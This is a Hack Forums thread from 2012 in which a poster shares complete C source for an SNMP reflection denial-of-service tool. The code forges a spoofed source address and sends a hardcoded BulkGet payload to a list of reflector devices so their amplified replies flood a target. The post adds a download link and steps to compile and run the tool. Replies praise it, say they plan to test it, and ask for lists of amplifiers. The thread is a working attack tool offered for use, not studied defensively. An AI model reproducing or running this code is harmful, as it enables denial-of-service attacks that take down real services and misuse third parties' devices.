

Forum: [Hack Forums](#)

Thread: [SNMP reflection Dos attack Powerfull attack method , tut on setup/script](#)

fred goffa - June 23, 2012, 5:19 pm

I will show you how to install and setup script for denial of service attacks with pictures on how to set up at bottem on post please read through all.

Hi guys this is a snmp denial of service method thats meant to bring somthing down, The source is from here i take no credits - <http://packetstormsecurity.org/files/36070/snmpdos.c.html>

Brief description of what the attack does - Sends a spoofed SNMP BulkGet .1.3.6.1 request to list of devices in file with community string public

equiv. command line is `snmpbulkget -v2c <device> public internet`

well, the target will get the first large packet, not the results of GetNext

generally it greatly amplifies the bandwidth

ADMSnmp can be easiy used with some shell scripting to scan class As for devices set to 'public'

Code modified from snmpkill.c and some taken from papasmurf.c

thanks kundera and tfreak

ok now guys heres the source code below

Quote: #include <stdio.h>

#include <string.h>

#include <unistd.h>

#include <stdlib.h>

#include <netinet/in_sysm.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netinet/ip.h>

#include <netinet/udp.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

struct sockaddr_in dest;

int sok,i=0, count=0, loop=0, lcount=0;

char source, *filename;

char c;

FILE *hostfile;

```

char buf[32];
u_long address[2048];
int num = 0, n;

char snmpkill[] =
"\x30\x24\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa5\x17\x02"
"\x04\x7b\x73\xcc\x13\x02\x01\x00\x02\x01\x64\x30\x09\x30\x07\x06"
"\x03\x2b\x06\x01\x05";

in_cksum(unsigned short *ptr, int nbytes)
{

    register long sum;    / assumes long == 32 bits /
    u_short oddbyte;
    register u_short answer; / assumes u_short == 16 bits /

    /
    Our algorithm is simple, using a 32-bit accumulator (sum),
    we add sequential 16-bit words to it, and at the end, fold back
    all the carry bits from the top 16 bits into the lower 16 bits.
    */

    sum = 0;
    while (nbytes > 1)
    {
        sum += *ptr++;
        nbytes -= 2;
    }

    / mop up an odd byte, if necessary /
    if (nbytes == 1)
    {
        oddbyte = 0;    / make sure top half is zero /
        *((u_char *) & oddbyte) = *(u_char *) ptr; / one byte only /
        sum += oddbyte;
    }

    /
    Add back carry outs from top 16 bits to low 16 bits.
    */

    sum = (sum >> 16) + (sum & 0xffff); / add high-16 to low-16 /
    sum += (sum >> 16);    / add carry /
    answer = ~sum;    / ones-complement, then truncate to 16 bits /
    return (answer);
}

void usage(void)
{
    printf("SNMP DoS v1.0\n");
    printf("Usage: snmpdos [-t target ip_addr] [-f host file] [-l loop count] \n");
}

```

```

void loadfile (void)
{
    if ((hostfile = fopen(filename, "r")) == NULL)
    {
        perror("Opening hostfile");
        exit(-1);
    }

    while (fgets(buf, sizeof buf, hostfile) != NULL)
    {
        char *p;
        int valid;

        / skip over comments/blank lines /
        if (buf[0] == '#' || buf[0] == '\n') continue;

        / get rid of newline /
        buf[strlen(buf) - 1] = '\0';

        / check for valid address /
        for (p = buf, valid = 1; *p != '\0'; p++)
        {
            if ( ! isdigit(*p) && *p != '.' )
            {
                fprintf(stderr, "Skipping invalid ip %s\n", buf);
                valid = 0;
                break;
            }
        }

        / if valid address, copy to our array /
        if (valid)
        {
            address[num] = inet_addr(buf);
            num++;
            if (num == 2048)
                break;
        }
    }
}

int sendit(ulong destaddr)
{
    struct pseudoudp {
        u_long ipsource;
        u_long ipdest;
        char zero;
        char proto;
        u_short length;
    } *psudp;

```

```
struct in_addr sourceip_addr;
struct in_addr destip_addr;
struct ip *IP;
struct udphdr *UDP;
char *packet, *packetck, *data;
int datasize;
```

```
destip_addr.s_addr=destaddr;
sourceip_addr.s_addr=inet_addr(source);
dest.sin_addr.s_addr=destip_addr.s_addr;
```

```
datasize=sizeof(snmpkill);
```

```
packet = ( char *)malloc( 20 + 8 + datasize );
```

```
IP = (struct ip *)packet;
```

```
memset(packet,0,sizeof(packet));
```

```
IP->ip_dst.s_addr = destip_addr.s_addr;
IP->ip_src.s_addr = sourceip_addr.s_addr;
IP->ip_v = 4;
IP->ip_hl = 5;
IP->ip_ttl = 245;
IP->ip_id = htons(1047);
IP->ip_p = 17;
IP->ip_len = htons(20 + 8 + datasize);
IP->ip_sum = in_cksum((u_short *)packet,20);
```

```
UDP = (struct udphdr *) (packet+20);
UDP->source = htons(161);
UDP->dest = htons(161);
UDP->len = htons(8+datasize);
UDP->check = 0;
packetck = (char *)malloc(8 + datasize + sizeof(struct pseudoudp));
bzero(packetck,8 + datasize + sizeof(struct pseudoudp));
psudp = (struct pseudoudp *) (packetck);
psudp->ipdest = destip_addr.s_addr;
psudp->ipsource = sourceip_addr.s_addr;
psudp->zero = 0;
psudp->proto = 17;
psudp->length = htons(8+datasize);
memcpy(packetck+sizeof(struct pseudoudp),UDP,8+datasize);
memcpy(packetck+sizeof(struct pseudoudp)+8,snmpkill,datasize);
```

```
UDP->check = in_cksum((u_short *)packetck,8+datasize+sizeof(struct pseudoudp));
```

```
data = (unsigned char *) (packet+20+8);
memcpy(data,snmpkill,datasize);
```

```
return(sendto(sok,packet,20+8+datasize,0,(struct sockaddr *) &dest,sizeof(struct sockaddr)));
```

```
free(packet);
```

```

free(packetck);
}

int main(int argc, char **argv){

if(argc < 3) {
    usage();
    return 0;
}

while((c=getopt(argc,argv,"t:f:l:")!=EOF){
    switch(c) {
        case 't': source=optarg; break;
        case 'f': filename=optarg; break;
        case 'l': loop=atoi(optarg); break;
        default: usage();
    }
}

loadfile();

dest.sin_family=AF_INET;

if ( (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
{
    printf("Can't create socket.\n");
    exit(EXIT_FAILURE);
}

n=0;

while(lcount < loop){

while(n < num)
{
    if(sendit(address[n]) == -1) printf ("SENDING ERROR!\n");
    n++;
    count++;
}

if(n == num){ n = 0; lcount++;}

}

printf("%i packets sent\n", count);

return 0;
}

```

please enjoy guys, download this onto ur linux machine and follow the tut on how to compile and run - <https://dl.dropbox.com/u/49102724/snmpdos.c>

Now here are the steps to compile and use first download the snmpdos.c onto your linux machine

First place the snmpdos.c into the current directory you want to have it compiled in, for instance games in my backtrack 5 machine, also make sure you have gcc installed on your linux machine. Backtrack already has this feature or compiler there. now to compile first in console type , cd /user/game , now type once your in that directory u place your file u want to compile now type this to compile, gcc snmpdos.c -o snmp , now you will get your snmp exe.

[\[IMG\]http://img716.imageshack.us/img716/7484/2312k.png\[/IMG\]](http://img716.imageshack.us/img716/7484/2312k.png)

Please enjoy once you compiled you will get this

[\[IMG\]http://img189.imageshack.us/img189/4639/59393178.png\[/IMG\]](http://img189.imageshack.us/img189/4639/59393178.png)

i will be realising more scripts like this i sit on my computer and hack all day and i know lots of great scripts for breaking into computers and denial of service , and i will be posting good scripts every day or two

The4rmer - June 23, 2012, 7:07 pm

This is brilliant thanks for the contribution I am sure many will find a use.

fred goffa - June 23, 2012, 8:20 pm

guys if this doesnt work for u , ur not doin git rite read the c code and use

fred goffa - June 23, 2012, 10:58 pm

ive tried it on my vps this script works great, u just need good bandwidth and u need to keep sending 9999 packets over againg and againg, and the sever will crash on other end

Xavier xL - June 24, 2012, 2:12 pm

Really good release bro gonna test this now.

EmperorDAZ - June 24, 2012, 10:17 pm

Nice release man. Going to test that now. Keep it up!

vLayer - June 26, 2012, 1:11 am

Very nice script can you use this on vps with centos or only backtrack

Host FR ™ - April 25, 2014, 8:02 am

Have you a list to amp please ?

thx